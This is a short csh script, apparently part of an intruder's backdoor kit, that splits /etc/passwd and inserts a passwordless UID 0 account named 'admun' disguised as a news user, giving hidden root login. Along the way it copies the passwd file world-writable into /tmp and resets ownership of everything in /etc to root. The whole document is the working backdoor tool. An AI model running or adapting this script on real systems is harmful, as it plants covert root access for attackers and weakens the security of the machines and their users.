#!/bin/csh
# Inserts a UID 0 account into the middle of the passwd file.
# There is likely a way to do this in 1/2 a line of AWK or SED.  Oh well.
# Made to use with backpass, backshadow, backshell
# admin@wickedmind.com

cd
chown nobody:nobody /etc/passwd | cp /etc/passwd /tmp/passwd
chmod 777 /tmp/passwd
set linecount = `wc -l /etc/passwd`
cp /etc/passwd ./temppass
echo passwd file has $linecount[1] lines.
@ linecount[1] /= 2
@ linecount[1] += 1                     # we only want 2 temp files
echo Creating two files, $linecount[1] lines each \(or approximately that\).
split -$linecount[1] ./temppass         # passwd string optional
echo "admun::0:0:newsuser:/home/ftp:/bin/csh" >> ./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd                   # or whatever it was beforehand
chown root:root /etc/*
rm ./xa*
rm ./temppass
echo Done...